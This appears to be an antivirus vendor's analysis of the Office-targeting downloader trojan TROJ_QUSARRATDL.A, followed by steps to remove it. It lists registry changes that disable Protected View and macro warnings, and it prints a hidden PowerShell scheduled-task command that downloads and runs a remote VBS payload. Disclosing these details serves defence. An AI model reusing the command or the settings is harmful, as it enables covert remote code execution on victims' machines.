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TROJ_QUSARRATDL.A

March 06, 2018
 Analysis by: Patrick Angelo Roderno
 ALIASES:

Trojan.Mdropper (NORTON); DOC/TrojanDownloader.Agent.FI trojan (NOD32); X97M.Downloader.BI (QUICKHEAL)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

2,691,024 bytes

File Type:

RTF

Memory Resident:

No

Initial Samples Received Date:

08 Feb 2018

Payload:

Modifies system registry, Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other System Modifications

This Trojan modifies the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security\ProtectedView
DisableInternetFiles = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocations = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security\ProtectedView
DisableInternetFiles = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\PowerPoint\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\PowerPoint\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\PowerPoint\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Excel\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Excel\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Excel\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Excel\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security\ProtectedView
DisableInternetFiles = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\11.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\14.0\Word\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\15.0\Word\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\16.0\Word\
Security
VBAWarnings = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Word\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\PowerPoint\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Excel\
Security\ProtectedView
DisableInternetFilesInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKEY_CURRENT_USER\Software\Microsoft\
Office\12.0\Excel\
Security\ProtectedView
DisableUnsafeLocationsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

HKCU\Software\Microsoft\
Office\12.0\Excel\
Security\ProtectedView
DisableAttachmentsInPV = "1"

(Note: The default value data of the said registry entry is "0".)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}argo.com/images/file/vb/22.vbs

It saves the files it downloads using the following names:

  • %System Root%\Users\Public\svchost32.vbs

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • Adds the following scheduled task:
    • WindowsUpdate
      • Executes every 1 minute
      • Executes the following command:
        • Powershell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile(\\\\\\http://{BLOCKED}argo.com/images/file/vb/22.vbs\\\\\\,\\\\\\$env:public\\svchost32.vbs\\\\\\); (New-Object -com Shell.Application).ShellExecute(\\\\\\$env:public\\svchost32.vbs\\\\\\);

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.104.07

FIRST VSAPI PATTERN DATE:

02 Mar 2018

VSAPI OPR PATTERN File:

14.105.00

VSAPI OPR PATTERN Date:

03 Mar 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Identify and terminate files detected as TROJ_QUSARRATDL.A

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 5

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security
    • From: VBAWarnings = "1"
      To: VBAWarnings = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Word\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView
    • From: DisableInternetFilesInPV = "1"
      To: DisableInternetFilesInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView
    • From: DisableAttachmentsInPV = "1"
      To: DisableAttachmentsInPV = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView
    • From: DisableUnsafeLocationsInPV = "1"
      To: DisableUnsafeLocationsInPV = "0"

Step 6

Search and delete these files

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There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %System Root%\Users\Public\svchost32.vbs
  • %System%\Tasks\WindowsUpdate

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_QUSARRATDL.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Scan your computer with your Trend Micro product to delete files detected as TROJ_QUSARRATDL.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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